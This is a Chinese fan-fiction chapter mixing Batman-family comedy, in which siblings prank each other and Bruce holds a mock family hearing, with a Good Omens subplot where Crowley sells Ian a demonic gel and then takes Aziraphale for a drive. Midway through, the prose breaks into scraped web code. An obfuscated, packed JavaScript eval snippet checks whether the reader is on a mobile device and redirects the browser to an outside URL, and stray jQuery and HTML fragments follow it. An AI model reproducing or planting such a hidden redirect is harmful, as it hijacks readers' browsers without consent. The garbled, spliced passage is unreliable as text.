反击开始


    斯蒂芬妮在杰森的摩托上涂了“永久粘胶”,又在他头盔里塞了会自动播放《达拉崩吧》的音响。


    杰森一戴上头盔,就被粘在头发上,还被迫听着“达拉崩吧斑得贝迪卜多比鲁翁”魔性循环播放。


    “斯蒂芬妮!!!”他怒吼。


    “这只是开始。”她从树上探出头,扔下一颗粉末炸弹,这种粉末粘上后巨难洗。杰森慌忙躲避,一头撞进喷泉。


    ——


    达米安醒来后,得知自己被误伤,怒不可遏。


    他黑进了杰森和提姆的手机,将所有通讯记录改成“我爱你,杰森~”“提姆,你是我唯一的光~”并群发。


    更糟的是,他把两人在黑历史剪成短视频,上传至“超级英雄内网”。


    杰森看到时,正在试穿新装备。


    “达米安!!我要把你塞进垃圾桶!!”


    “你先解开我手机里的‘爱的告白’病毒。”达米安冷脸,“否则,明天全城都知道你给提姆织过毛衣。”


    “那是万圣节玩笑!!”


    “证据已存档。”


    当晚,韦恩庄园会议室。


    所有成员到场:迪克、杰森、提姆、达米安、芭芭拉、斯蒂芬妮、卡珊德拉,甚至布鲁斯都坐在长桌尽头,面无表情。


    迪克站在中央,笑得像个主持节目的主持人。


    “各位,感谢出席本次‘韦恩家族内部听证会’。”他清嗓,“议题:杰森·托德与提姆·德雷克,是否涉嫌策划非法拘禁、精神操控、以及对家庭成员使用未经批准的神经药物。”


    “我反对!”斯蒂芬妮举手,“这是爱的绑架,应属家庭纠纷。”


    “附议。”卡珊德拉点头。


    布鲁斯终于开口:“你们的行为,违反了三条家族守则,两条蝙蝠守则,以及阿尔弗雷德的甜点安全条例。”


    阿尔弗雷德端着托盘进来,上面是七杯热可可。


    “但,”他微笑,“我理解你们的动机。”


    他看向迪克:“您也该学会,不是所有事都是可以逃避的。”


    迪克笑容微敛,低头:“……我知道了。”


    杰森和提姆低头认错。


    “惩罚如下:”布鲁斯宣布,“杰森,三个月禁用机车;提姆,负责修复所有被黑系统;其余人,参与下周家庭心理辅导。”


    “还有,”迪克突然起身,“今晚所有人,陪我演一场‘假绑架’。”


    众人一愣。


    “感谢杰森和提姆让我有了勇气面对伊恩。”


    迪克深吸了一口气说道,“躲了这么久,我也该正视我和伊恩之间的问题了。”


    提姆笑了:“你真的想好了?”


    “我确认。”迪克眨眨眼微笑。


    ————


    伊恩站在巨大的全息投影前,那团黑色的物质“深渊”在投影中无声地蠕动着,仿佛在嘲笑着人类的傲慢与孤独。


    他身上的西装依旧笔挺,但那双湖绿色的眼睛里却多了一丝不易察觉的疲惫和痛苦。


    为了打造新型战甲,他让渡鸦秘密收购各种特殊材料。


    几个月前。


    伊恩正坐在别墅的沙发上,慢条斯理地处理着手臂上的伤口。


    渡鸦正在汇报采购清单,空气中弥漫着酒精和血腥味。


    突然,壁炉里的火焰毫无征兆地变成了诡异的绿色,紧接着,一股浓烈的硫磺味混合着烤焦的面包味充斥了整个房间。


    “哦,天哪,这地毯真不错,波斯进口的吧?踩上去一定很舒服。”


    一个带着伦敦腔、语气轻浮又略显抱怨的声音在空旷的客厅里响起。


    伊恩连眼皮都没抬一下,只是将止血绷带缠得更紧了些。


    “从我的壁炉里滚出来,克劳利。我刚换的地毯,不想让它沾上地狱的灰烬。”


    一阵黑色的烟雾伴随着咳嗽声从壁炉中涌出,最终凝聚成一个穿着红色西装、打着绿色领结、满脸雀斑的年轻男子形象。


    克劳利拍打着身上的灰尘,一脸不满地抱怨道:“嘿!我可是地狱的行政人员,不是什么流浪汉,能不能给点尊重?还有,你这壁炉设计得太窄了,我的肩膀都快卡住了。”


    伊恩终于抬起头,那双蓝色的眼睛里满是不耐烦。“如果你是来抱怨我的家居设计的,那么门在那边。”他指了指大门,“慢走,不送。”


    “等等!等等!”克劳利连忙摆手,脸上堆起了职业性的假笑,“我是来谈生意的,大买卖!保证是你最近一直在寻找的东西。”


    他变戏法似的从身后掏出一个密封的黑色玻璃容器,里面装着一团不断蠕动、变换着形态的黑色凝胶状物质。那东西仿佛有生命一般,撞击着容器壁,发出沉闷的声响。


    “看看这个!”


    克劳利的声音变得神秘而诱惑,“来自第七深渊的原生质凝胶,没有自我意识,就像一块听话的橡皮泥。但它能吞噬魔法,能反弹物理攻击,能以超高速移动……简而言之,它是一件完美符合你的要求,只要你能驾驭它。”


    伊恩的目光在那团黑色物质上停留了一瞬,随即又恢复了冷漠。


    “听起来像是一个难以驯服的麻烦。我可不想我的别墅被一滩没有脑子的烂泥毁了。”


    “麻烦?不不不,这只是潜力股!”


    克劳利连忙解释,“它现在确实像一滩烂泥,但只要有合适的宿主,它就是无敌的守护者!想想看,魔法免疫,超强防御,超高速度……这不正是你需要的吗,为了那个……嗯……‘夜翼’先生?”


    伊恩的眼神瞬间变得锐利如刀,手中的威士忌酒杯发出一声轻微的脆响。


    “你越界了,恶魔。”


    克劳利缩了缩脖子,干笑了一声:“别这么看着我,我只是……嗯……消息比较灵通而已。听着,伊恩,这东西是个烫手山芋,我也是费了好大劲才弄到手的。我给你个友情价,怎么样?”


    他凑近伊恩,压低了声音,空气中硫磺的味道更浓了。


    “我知道你需要力量,绝对的力量,来保护你想保护的人。这东西能做到。当然,它有点小脾气,可能会让你受点皮肉之苦,但为了爱,不是吗?”


    伊恩沉默了。


    他看着那团在容器中蠕动的黑色物质,脑海中闪过迪克在夜巡中受伤的画面。


    他知道这是一个陷阱,一个由恶魔设下的、充满诱惑的陷阱。但他别无选择。


    “你想要什么?”伊恩的声音低沉而平静。


    克劳利的眼睛亮了起来,他打了个响指,变出一张清单。


    “我就知道你会感兴趣!我想要那辆1968年的宾利 Continental,原厂漆,里程数不到五千英里。还有,你在开曼群岛的那个账户,嗯……余额应该足够我买下半个拉斯维加斯了。”


    伊恩看着克劳利,嘴角勾起一抹冷笑。“你倒是狮子大开口。”


    “物有所值,物有所值嘛!”


    克劳利笑得像个奸商,“怎么样?成交还是不成交?我还要赶回去烤我的午夜布丁呢。”


    伊恩站起身,走到克劳利面前,拿过那个黑色的玻璃容器。


    那团黑色的物质似乎感应到了他的气息,变得更加兴奋,疯狂地撞击着容器壁。


    “成交。”伊恩的声音冰冷而决绝,“但如果你敢耍什么花招,克劳利,就算你躲在地狱我也会让你付出代价。”


    克劳利笑得更灿烂了,他伸出手,与伊恩握了握。


    “放心吧,老伙计。我可是最讲信誉的恶魔。祝你……嗯……好运。”


    “这东西是个烫手山芋。它没有脑子,意味着它不会分辨敌我。你使用它,就像把一只发情的公牛放进瓷器店。它会榨干你的生命力,直到把你变成一具干尸,甚至……它可能会因为无聊,直接把你消化掉。”


    说完,他化作一阵黑烟,消失在空气中,只留下一句提醒:“希望你的保险是全额的……”


    伊恩站在原地,看着手中的黑色容器他喃喃自语:“那是我该解决的问题。我只要结果——保护我所爱之人的能力。”


    ……


    伦敦的雾气尚未散尽,苏豪区商店街街角的“A.Z.Fell&Co”书店门楣上,那块斑驳的铜铃在微风中轻轻晃动,发出一声慵懒的叮当。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199167|197157||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    门被推开时,铃声清脆。


    “亚兹拉斐尔!我亲爱的、最尊贵的天使!”


    克劳利大步跨进书店,一身猩红的西装在晨光中格外耀眼,领口别着那枚从不离身的翡翠胸针,头发一丝不苟地向后梳着,嘴角挂着那副惯常的、带着点狡黠又讨好的笑容。


    他身后没有硫磺味,没有黑烟,甚至连脚步声都轻得像是怕惊扰了书页间的尘埃。


    亚兹拉斐尔正站在梯子上,戴着皮质手套,小心翼翼地将一本15世纪的《神曲》放回原位。听见声音,他微微一颤,扶着梯子的手紧了紧,然后缓缓转过头,蓝眼睛里满是警惕。


    “你又来干什么?”他声音温和,却带着一丝不易察觉的戒备,“该不会又是来推销什么‘地狱特供’的诅咒羊皮卷,或是‘能让人永生但会变成蟾蜍’的炼金药水吧?”


    “哦,天哪,不!”克劳利双手举起,做出一副被严重冒犯的模样,“我可是来献上和平与甜蜜的——就像春天的微风,像清晨的露珠,像……嗯,像刚出炉的可丽饼。”


    亚兹拉斐尔挑眉:“可丽饼?”


    “是的!可丽饼!”克劳利转身,夸张地一挥手,书店的门被轻轻推开,一辆锃亮的深酒红色宾利 Continental 缓缓滑入视野,像一头优雅的野兽,静静伏在书店门口。车身在晨光中泛着珍珠母贝般的光泽,轮毂闪着低调的金边,车牌上赫然刻着“CRAWLY 666”。


    “1968年的宾利,原厂漆,里程数不到五千英里,”克劳利得意地拍了拍车顶,“刚到手的,连方向盘都还带着我的体温。”


    亚兹拉斐尔从梯子上慢慢下来,摘下手套,眼神在车和克劳利之间来回游移。


    “你……从哪里搞到的?”


    “交易。”克劳利眨了眨眼,语气轻描淡写,却带着一丝得意,“公平、自愿、完全合法——至少在人间法律的范畴内。”


    “你又坑了谁?”亚兹拉斐尔走近几步,指尖轻轻拂过车门,像是在确认它是否真实。


    “谁也没坑!”克劳利举起手,“好吧,也许稍微利用了一下人类对‘绝对防御’的执念,但那不重要。重要的是——”


    他绕到副驾驶侧,拉开车门,做出一个极其夸张的邀请手势,


    “亚兹拉斐尔先生,您是否愿意赏光,与我共度一个远离末日、远离天堂与地狱纷争的午后?我们去兜风,去里士满公园,沿着泰晤士河岸开,然后在河边的小摊上,吃一份热乎乎的可丽饼——巧克力酱加新鲜草莓,再淋一点橙花蜜,就像……就像我们曾经在巴黎那家小巷子里吃过的那样。”


    空气静了一瞬。


    亚兹拉斐尔怔住了。他望着克劳利,那双总是带着笑意的眼睛里,此刻竟有一丝罕见的柔软。


    “你记得那个?”他轻声问。


    “我记着很多事。”克劳利的声音也低了下来,不再轻浮,不再戏谑,“记着你讨厌人造黄油,记着你总把草莓留到最后吃,记着你说过,可丽饼的甜,是人间最接近奇迹的味道。”


    书店里安静得能听见尘埃落定的声音。


    亚兹拉斐尔缓缓笑了,那笑容像晨雾散去后的阳光,温柔而明亮。他转身走向柜台,取下那件深灰色的羊绒大衣,又顺手拿起一把深绿色的长柄伞——不是为了雨,只是为了“看起来像个正经人”。


    “好吧。”


    他走向车门,脚步轻快,“但我警告你,克劳利——如果这车里有隐藏的地狱符文、自动导航去火山口,或是突然开始播放《地狱进行曲》,我就把它变成一堆废铁,然后用它给你做一口棺材。”


    “我发誓,”克劳利为他关上车门,绕到驾驶座,启动引擎,低沉的轰鸣像一头满足的野兽,“这是一次纯粹的、不带任何末日预兆的兜风。”


    宾利缓缓驶出街道,晨光洒在车顶,像为它镀上了一层圣洁的金边。收音机里,爵士乐轻轻响起,是纳特·金·科尔的《L-O-V-E》。


    克劳利偷偷瞥了一眼副驾上那位正望着窗外、嘴角微扬的天使,轻轻笑了笑,踩下了油门。


    “下一站,”他轻声说,“可丽饼与奇迹。”